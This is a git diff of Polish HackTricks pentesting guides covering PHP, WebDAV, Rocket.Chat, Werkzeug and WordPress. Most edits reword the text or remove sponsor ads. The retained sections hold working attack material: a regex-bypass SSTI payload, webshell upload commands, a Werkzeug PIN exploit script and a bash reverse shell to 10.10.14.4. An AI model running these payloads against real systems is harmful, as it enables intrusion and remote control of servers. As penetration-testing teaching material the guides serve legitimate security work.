jeśli możesz dostarczyć wartość, która stworzy hash zaczynający się od "0e" i bez żadnej litery, możesz obejść porównanie. Możesz znaleźć **już haszowane ciągi** w tym formacie tutaj: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` Dowolna litera w ciągu jest równa int 0 Więcej informacji w [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -116,13 +109,13 @@ Sztuczka z: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
-Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co przekracza pojemność stosu. +Krótko mówiąc, problem występuje, ponieważ funkcje `preg_*` w PHP opierają się na [bibliotece PCRE](http://www.pcre.org/). W PCRE niektóre wyrażenia regularne są dopasowywane przy użyciu wielu wywołań rekurencyjnych, co zużywa dużo miejsca na stosie. Można ustawić limit na liczbę dozwolonych rekurencji, ale w PHP ten limit [domyślnie wynosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), co jest więcej niż mieści się na stosie. [Ten wątek na Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) również został podlinkowany w poście, w którym bardziej szczegółowo omawiano ten problem. Nasze zadanie było teraz jasne:\ **Wysłać dane wejściowe, które spowodują, że regex wykona 100_000+ rekurencji, powodując SIGSEGV, co sprawi, że funkcja `preg_match()` zwróci `false`, a aplikacja pomyśli, że nasze dane wejściowe nie są złośliwe, zaskakując na końcu ładunku czymś w rodzaju `{system()}` w celu uzyskania SSTI --> RCE --> flag :)**. -Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynoszą 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\ -Aby to osiągnąć, `'X'*500_001` da wynik 1 miliona kroków cofania (500k do przodu i 500k do tyłu): +Cóż, w terminach regex, tak naprawdę nie wykonujemy 100k "rekurencji", ale zamiast tego liczymy "kroki cofania", które, jak stwierdza [dokumentacja PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), domyślnie wynosi 1_000_000 (1M) w zmiennej `pcre.backtrack_limit`.\ +Aby to osiągnąć, `'X'*500_001` spowoduje 1 milion kroków cofania (500k do przodu i 500k do tyłu): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` @@ -160,15 +153,15 @@ Sprawdź: ## Więcej sztuczek - **register_globals**: W **PHP < 4.1.1.1** lub w przypadku błędnej konfiguracji, **register_globals** może być aktywne (lub ich zachowanie jest naśladowane). Oznacza to, że w zmiennych globalnych takich jak $\_GET, jeśli mają wartość np. $\_GET\["param"]="1234", możesz uzyskać do nich dostęp przez **$param. Dlatego, wysyłając parametry HTTP, możesz nadpisać zmienne\*\* używane w kodzie. -- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że dana ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\ -W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna zmienne path1 za ważne (nadając ciasteczku nazwę, która odpowiada jej w path2). +- **Ciasteczka PHPSESSION tego samego domeny są przechowywane w tym samym miejscu**, dlatego jeśli w obrębie domeny **używane są różne ciasteczka w różnych ścieżkach**, możesz sprawić, że ścieżka **uzyska dostęp do ciasteczka innej ścieżki**, ustawiając wartość ciasteczka innej ścieżki.\ +W ten sposób, jeśli **obie ścieżki uzyskują dostęp do zmiennej o tej samej nazwie**, możesz sprawić, że **wartość tej zmiennej w path1 będzie miała zastosowanie w path2**. A następnie path2 uzna za ważne zmienne path1 (nadając ciasteczku nazwę, która odpowiada jej w path2). - Kiedy masz **nazwy użytkowników** użytkowników maszyny. Sprawdź adres: **/\~\**, aby zobaczyć, czy katalogi php są aktywowane. - [**LFI i RCE przy użyciu wrapperów php**](../../../pentesting-web/file-inclusion/) ### password_hash/password_verify Funkcje te są zazwyczaj używane w PHP do **generowania hashy z haseł** i do **sprawdzania**, czy hasło jest poprawne w porównaniu z hashem.\ -Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostanie użyte: +Obsługiwane algorytmy to: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (zaczyna się od `$2y$`). Zauważ, że **PASSWORD_DEFAULT często jest tym samym co PASSWORD_BCRYPT.** A obecnie, **PASSWORD_BCRYPT** ma **ograniczenie rozmiaru wejścia do 72 bajtów**. Dlatego, gdy próbujesz zhashować coś większego niż 72 bajty za pomocą tego algorytmu, tylko pierwsze 72B zostaną użyte: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -178,9 +171,9 @@ True ``` ### HTTP headers bypass abusing PHP errors -#### Wywoływanie błędu po ustawieniu nagłówków +#### Causing error after setting headers -Z [**tego wątku na Twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi. +Z [**tego wątku na twitterze**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A&s=19) można zobaczyć, że wysyłając więcej niż 1000 parametrów GET lub 1000 parametrów POST lub 20 plików, PHP nie ustawi nagłówków w odpowiedzi. Pozwala to na obejście na przykład nagłówków CSP ustawianych w kodach takich jak: ```php @@ -190,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Wypełnianie ciała przed ustawieniem nagłówków -Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wprowadzone przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\ +Jeśli **strona PHP wyświetla błędy i zwraca niektóre dane wejściowe podane przez użytkownika**, użytkownik może sprawić, że serwer PHP zwróci **treść wystarczająco długą**, aby podczas próby **dodania nagłówków** do odpowiedzi serwer zgłosił błąd.\ W następującym scenariuszu **atakujący spowodował, że serwer zgłosił kilka dużych błędów**, a jak widać na ekranie, gdy PHP próbowało **zmodyfikować informacje o nagłówkach, nie mogło** (na przykład nagłówek CSP nie został wysłany do użytkownika): ![](<../../../images/image (1085).png>) @@ -217,7 +210,7 @@ preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` Aby wykonać kod w argumencie "replace", potrzebne jest przynajmniej jedno dopasowanie.\ -Ta opcja preg_replace została **wycofana od PHP 5.5.0.** +Ta opcja preg_replace jest **przestarzała od PHP 5.5.0.** ### **RCE za pomocą Eval()** ``` @@ -238,7 +231,7 @@ Będziesz musiał **złamać** składnię **kodu**, **dodać** swój **ładunek* **Inną opcją** jest dodanie do ciągu wykonania polecenia: `'.highlight_file('.passwd').'` -**Inną opcją** (jeśli masz wewnętrzny kod) jest modyfikacja niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"` +**Inną opcją** (jeśli masz wewnętrzny kod) jest zmodyfikowanie niektórej zmiennej, aby zmienić wykonanie: `$file = "hola"` ### **RCE za pomocą usort()** @@ -281,7 +274,7 @@ Różne powłoki .htaccess można znaleźć [tutaj](https://github.com/wireghoul Jeśli znajdziesz lukę, która pozwala ci **modyfikować zmienne środowiskowe w PHP** (i inną, aby przesyłać pliki, chociaż z większym badaniem może to być możliwe do obejścia), możesz nadużyć tego zachowania, aby uzyskać **RCE**. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych plików (chociaż w tym przypadku może to nie działać). +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Ta zmienna środowiskowa pozwala na ładowanie dowolnych bibliotek podczas wykonywania innych binarnych (chociaż w tym przypadku może to nie działać). - **`PHPRC`** : Instrukcja dla PHP, **gdzie znaleźć plik konfiguracyjny**, zazwyczaj nazywany `php.ini`. Jeśli możesz przesłać własny plik konfiguracyjny, użyj `PHPRC`, aby wskazać PHP na niego. Dodaj wpis **`auto_prepend_file`**, określający drugi przesłany plik. Ten drugi plik zawiera normalny **kod PHP, który jest następnie wykonywany** przez środowisko PHP przed jakimkolwiek innym kodem. 1. Prześlij plik PHP zawierający nasz shellcode 2. Prześlij drugi plik, zawierający dyrektywę **`auto_prepend_file`**, instruującą preprocesor PHP do wykonania pliku, który przesłaliśmy w kroku 1 @@ -455,12 +448,4 @@ $____.=$__; $_=$$____; $___($_[_]); // ASSERT($_POST[_]); ``` -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, wykorzystywalne luki w zabezpieczeniach, które mają rzeczywisty wpływ na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 8521d7498..b0f8c9ff9 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -1,24 +1,16 @@ # WebDav -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} - {{#include ../../banners/hacktricks-training.md}} -Podczas pracy z **serwerem HTTP z włączonym WebDav** możliwe jest **manipulowanie plikami**, jeśli masz odpowiednie **poświadczenia**, zazwyczaj weryfikowane przez **HTTP Basic Authentication**. Uzyskanie kontroli nad takim serwerem często wiąże się z **przesyłaniem i uruchamianiem webshella**. +Kiedy mamy do czynienia z **serwerem HTTP z włączonym WebDav**, możliwe jest **manipulowanie plikami**, jeśli posiadasz odpowiednie **poświadczenia**, zazwyczaj weryfikowane przez **HTTP Basic Authentication**. Uzyskanie kontroli nad takim serwerem często wiąże się z **przesyłaniem i uruchamianiem webshella**. -Dostęp do serwera WebDav zazwyczaj wymaga **ważnych poświadczeń**, a [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) jest powszechną metodą ich pozyskiwania. +Dostęp do serwera WebDav zazwyczaj wymaga **ważnych poświadczeń**, a [**bruteforce WebDav**](../../generic-hacking/brute-force.md#http-basic-auth) jest powszechną metodą ich zdobycia. Aby obejść ograniczenia dotyczące przesyłania plików, szczególnie te uniemożliwiające wykonywanie skryptów po stronie serwera, możesz: -- **Przesyłać** pliki z **wykonywalnymi rozszerzeniami** bezpośrednio, jeśli nie są ograniczone. -- **Zmień nazwę** przesyłanych plików niewykonywalnych (np. .txt) na rozszerzenie wykonywalne. -- **Kopiować** przesyłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne. +- **Przesłać** pliki z **wykonywalnymi rozszerzeniami** bezpośrednio, jeśli nie są ograniczone. +- **Zmień nazwę** przesłanych plików niewykonywalnych (jak .txt) na rozszerzenie wykonywalne. +- **Skopiować** przesłane pliki niewykonywalne, zmieniając ich rozszerzenie na takie, które jest wykonywalne. ## DavTest @@ -42,26 +34,18 @@ cadaver curl -T 'shell.txt' 'http://$ip' ``` ## Żądanie MOVE -``` +```bash curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` -
+## IIS5/6 WebDav Vulnerability -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: +Ta luka jest bardzo interesująca. **WebDav** **nie pozwala** na **przesyłanie** ani **zmienianie nazw** plików z rozszerzeniem **.asp**. Ale możesz **obejść** to, **dodając** na końcu nazwy **";.txt"**, a plik będzie **wykonywany** tak, jakby był plikiem .asp (możesz również **użyć ".html" zamiast ".txt"**, ale **NIE zapomnij o ";"**). -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} - -## Luka w WebDav IIS5/6 - -Ta luka jest bardzo interesująca. **WebDav** **nie pozwala** na **przesyłanie** ani **zmienianie nazw** plików z rozszerzeniem **.asp**. Ale możesz **obejść** to, **dodając** na końcu nazwy **";.txt"**, a plik zostanie **wykonany** tak, jakby był plikiem .asp (możesz również **użyć ".html" zamiast ".txt"**, ale **NIE zapomnij o ";"**). - -Następnie możesz **przesłać** swój shell jako plik ".**txt"** i **skopiować/przenieść go do pliku ".asp;.txt"**. Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on **wykonany** (cadaver powie, że akcja przeniesienia się nie powiodła, ale tak nie jest). +Następnie możesz **przesłać** swój shell jako plik ".**txt"** i **skopiować/przenieść go do pliku ".asp;.txt"**. Uzyskując dostęp do tego pliku przez serwer WWW, zostanie on **wykonany** (cadaver powie, że akcja przeniesienia nie powiodła się, ale tak nie jest). ![](<../../images/image (1092).png>) -## Poświadczenia +## Post credentials Jeśli Webdav używał serwera Apache, powinieneś sprawdzić skonfigurowane witryny w Apache. Zwykle:\ \&#xNAN;_**/etc/apache2/sites-enabled/000-default**_ @@ -77,7 +61,7 @@ AuthName "webdav" AuthUserFile /etc/apache2/users.password Require valid-user ``` -Jak widać, są pliki z ważnymi **credentials** dla serwera **webdav**: +Jak widać, istnieją pliki z ważnymi **credentials** dla serwera **webdav**: ``` /etc/apache2/users.password ``` @@ -96,11 +80,3 @@ wget --user --ask-password http://domain/path/to/webdav/ -O - -q - [https://vk9-sec.com/exploiting-webdav/](https://vk9-sec.com/exploiting-webdav/) {{#include ../../banners/hacktricks-training.md}} - -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=put-method-webdav), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społeczności na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=put-method-webdav" %} diff --git a/src/network-services-pentesting/pentesting-web/rocket-chat.md b/src/network-services-pentesting/pentesting-web/rocket-chat.md index eee2830b5..d6e0fa89f 100644 --- a/src/network-services-pentesting/pentesting-web/rocket-chat.md +++ b/src/network-services-pentesting/pentesting-web/rocket-chat.md @@ -2,9 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} ## RCE @@ -36,8 +33,5 @@ exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'") - Wywołaj go za pomocą curl i powinieneś otrzymać rev shell -
- -{% embed url="https://websec.nl/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md index 8df13da94..8cf16df71 100644 --- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md +++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md @@ -1,8 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} # Enumeracja ```bash @@ -14,10 +11,6 @@ msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump ```bash msf> auxiliary/scanner/vmware/vmware_http_login ``` -Jeśli znajdziesz ważne dane uwierzytelniające, możesz użyć więcej modułów skanera Metasploit, aby uzyskać informacje. - -
- -{% embed url="https://websec.nl/" %} +Jeśli znajdziesz ważne dane uwierzytelniające, możesz użyć więcej modułów skanera Metasploit, aby uzyskać informacje. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 9e0685b64..3a4bc55de 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,40 +2,33 @@ {{#include ../../banners/hacktricks-training.md}} -
- -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} - -## Podsumowanie metodologii pentestingu API +## Podsumowanie Metodologii Pentestingu API Pentesting API wymaga strukturalnego podejścia do odkrywania luk. Ten przewodnik zawiera kompleksową metodologię, podkreślając praktyczne techniki i narzędzia. -### **Zrozumienie typów API** +### **Zrozumienie Typów API** -- **SOAP/XML Web Services**: Wykorzystują format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (rozszerzenie Burp Suite) są niezbędne do analizowania i generowania żądań. Przykładowa dokumentacja jest dostępna na [DNE Online](http://www.dneonline.com/calculator.asmx). +- **SOAP/XML Web Services**: Wykorzystują format WSDL do dokumentacji, zazwyczaj dostępny pod ścieżkami `?wsdl`. Narzędzia takie jak **SOAPUI** i **WSDLer** (rozszerzenie Burp Suite) są niezbędne do analizowania i generowania żądań. Przykładowa dokumentacja jest dostępna pod adresem [DNE Online](http://www.dneonline.com/calculator.asmx). - **REST APIs (JSON)**: Dokumentacja często występuje w plikach WADL, jednak narzędzia takie jak [Swagger UI](https://swagger.io/tools/swagger-ui/) oferują bardziej przyjazny interfejs do interakcji. **Postman** to cenne narzędzie do tworzenia i zarządzania przykładowymi żądaniami. -- **GraphQL**: Język zapytań dla API, oferujący pełny i zrozumiały opis danych w Twoim API. +- **GraphQL**: Język zapytań dla API oferujący pełny i zrozumiały opis danych w Twoim API. -### **Laboratoria praktyczne** +### **Laboratoria Praktyczne** - [**VAmPI**](https://github.com/erev0s/VAmPI): Celowo podatne API do praktyki, obejmujące 10 najważniejszych luk w API według OWASP. -### **Skuteczne triki do pentestingu API** +### **Skuteczne Sztuczki do Pentestingu API** - **Vulnerabilities SOAP/XML**: Zbadaj luki XXE, chociaż deklaracje DTD są często ograniczone. Tag CDATA może umożliwić wstawienie ładunku, jeśli XML pozostaje ważny. -- **Escalacja uprawnień**: Testuj punkty końcowe z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu. -- **Błędy w konfiguracji CORS**: Zbadaj ustawienia CORS pod kątem potencjalnej możliwości wykorzystania przez ataki CSRF z sesji uwierzytelnionych. -- **Odkrywanie punktów końcowych**: Wykorzystaj wzorce API do odkrywania ukrytych punktów końcowych. Narzędzia takie jak fuzzery mogą zautomatyzować ten proces. -- **Manipulacja parametrami**: Eksperymentuj z dodawaniem lub zastępowaniem parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji. -- **Testowanie metod HTTP**: Zmieniaj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji. -- **Manipulacja typem zawartości**: Przełączaj się między różnymi typami zawartości (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z analizą lub luki. -- **Zaawansowane techniki parametrów**: Testuj z nieoczekiwanymi typami danych w ładunkach JSON lub baw się danymi XML w celu wstrzyknięć XXE. Spróbuj również zanieczyszczenia parametrów i znaków wieloznacznych dla szerszego testowania. -- **Testowanie wersji**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API. +- **Escalacja Uprawnień**: Testuj punkty końcowe z różnymi poziomami uprawnień, aby zidentyfikować możliwości nieautoryzowanego dostępu. +- **Błędy w Konfiguracji CORS**: Zbadaj ustawienia CORS pod kątem potencjalnej możliwości wykorzystania przez ataki CSRF z sesji uwierzytelnionych. +- **Odkrywanie Punktów Końcowych**: Wykorzystaj wzorce API do odkrywania ukrytych punktów końcowych. Narzędzia takie jak fuzzery mogą zautomatyzować ten proces. +- **Manipulacja Parametrami**: Eksperymentuj z dodawaniem lub zastępowaniem parametrów w żądaniach, aby uzyskać dostęp do nieautoryzowanych danych lub funkcji. +- **Testowanie Metod HTTP**: Zmieniaj metody żądań (GET, POST, PUT, DELETE, PATCH), aby odkryć nieoczekiwane zachowania lub ujawnienia informacji. +- **Manipulacja Typem Zawartości**: Przełączaj się między różnymi typami zawartości (x-www-form-urlencoded, application/xml, application/json), aby testować problemy z analizą lub luki. +- **Zaawansowane Techniki Parametrów**: Testuj z nieoczekiwanymi typami danych w ładunkach JSON lub baw się danymi XML w celu wstrzyknięć XXE. Spróbuj również zanieczyszczenia parametrów i znaków wieloznacznych dla szerszego testowania. +- **Testowanie Wersji**: Starsze wersje API mogą być bardziej podatne na ataki. Zawsze sprawdzaj i testuj przeciwko wielu wersjom API. -### **Narzędzia i zasoby do pentestingu API** +### **Narzędzia i Zasoby do Pentestingu API** - [**kiterunner**](https://github.com/assetnote/kiterunner): Doskonałe do odkrywania punktów końcowych API. Użyj go do skanowania i brutalnego wymuszania ścieżek i parametrów przeciwko docelowym API. ```bash @@ -59,11 +52,4 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) -
- -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=web-api-pentesting), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=web-api-pentesting" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/werkzeug.md b/src/network-services-pentesting/pentesting-web/werkzeug.md index ae5795d0e..1c150533a 100644 --- a/src/network-services-pentesting/pentesting-web/werkzeug.md +++ b/src/network-services-pentesting/pentesting-web/werkzeug.md @@ -2,13 +2,6 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Uzyskaj perspektywę hakera na swoje aplikacje webowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, eksploatowalne luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi, aby zmapować powierzchnię ataku, znaleźć problemy z bezpieczeństwem, które pozwalają na eskalację uprawnień, i użyj zautomatyzowanych exploitów, aby zebrać niezbędne dowody, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} ## Console RCE @@ -34,7 +27,7 @@ shell that runs the server ``` Wiadomość dotycząca scenariusza "console locked" pojawia się podczas próby uzyskania dostępu do interfejsu debugowania Werkzeug, wskazując na konieczność podania PIN-u w celu odblokowania konsoli. Sugeruje się wykorzystanie PIN-u konsoli poprzez analizę algorytmu generowania PIN-u w pliku inicjalizacyjnym debugowania Werkzeug (`__init__.py`). Mechanizm generowania PIN-u można zbadać w [**repozytorium kodu źródłowego Werkzeug**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), chociaż zaleca się pozyskanie rzeczywistego kodu serwera za pomocą luki w przejściu plików z powodu potencjalnych różnic w wersjach. -Aby wykorzystać PIN konsoli, potrzebne są dwa zestawy zmiennych: `probably_public_bits` i `private_bits`: +Aby wykorzystać PIN konsoli, potrzebne są dwa zestawy zmiennych, `probably_public_bits` i `private_bits`: #### **`probably_public_bits`** @@ -100,9 +93,9 @@ try: ```
-Po zebraniu wszystkich niezbędnych danych, skrypt exploitacyjny może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug: +Po zebraniu wszystkich niezbędnych danych, skrypt exploit może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug: -Po zebraniu wszystkich niezbędnych danych, skrypt exploitacyjny może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug. Skrypt wykorzystuje zebrane `probably_public_bits` i `private_bits` do stworzenia hasha, który następnie przechodzi dalsze przetwarzanie w celu uzyskania ostatecznego PIN-u. Poniżej znajduje się kod Pythona do wykonania tego procesu: +Po zebraniu wszystkich niezbędnych danych, skrypt exploit może zostać uruchomiony w celu wygenerowania PIN-u konsoli Werkzeug. Skrypt wykorzystuje zebrane `probably_public_bits` i `private_bits` do stworzenia hasha, który następnie przechodzi dalsze przetwarzanie, aby wygenerować ostateczny PIN. Poniżej znajduje się kod Pythona do wykonania tego procesu: ```python import hashlib from itertools import chain @@ -170,12 +163,5 @@ Dzieje się tak, ponieważ w Werkzeug możliwe jest wysyłanie niektórych **zna - [**https://github.com/pallets/werkzeug/issues/2833**](https://github.com/pallets/werkzeug/issues/2833) - [**https://mizu.re/post/twisty-python**](https://mizu.re/post/twisty-python) -
- -**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę** - -**Znajdź i zgłoś krytyczne, podatne na wykorzystanie luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 8bc0b39c1..8afe807eb 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -2,18 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} -
- -\ -Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=wordpress), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\ -Uzyskaj dostęp już dziś: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %} - ## Podstawowe informacje -- **Przesłane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve**, możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Przesłane** pliki znajdują się pod adresem: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie użyjesz tej ścieżki. Na przykład: Używając **motywu twentytwelve** możesz **uzyskać dostęp** do pliku **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **Inny przydatny adres URL to:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -38,7 +30,7 @@ Uzyskaj dostęp już dziś: **Post exploitation** -- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniające i sole oraz prefiks tabeli bazy danych. Ten plik konfiguracyjny może być również używany do aktywacji trybu DEBUG, co może być przydatne w rozwiązywaniu problemów. +- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą 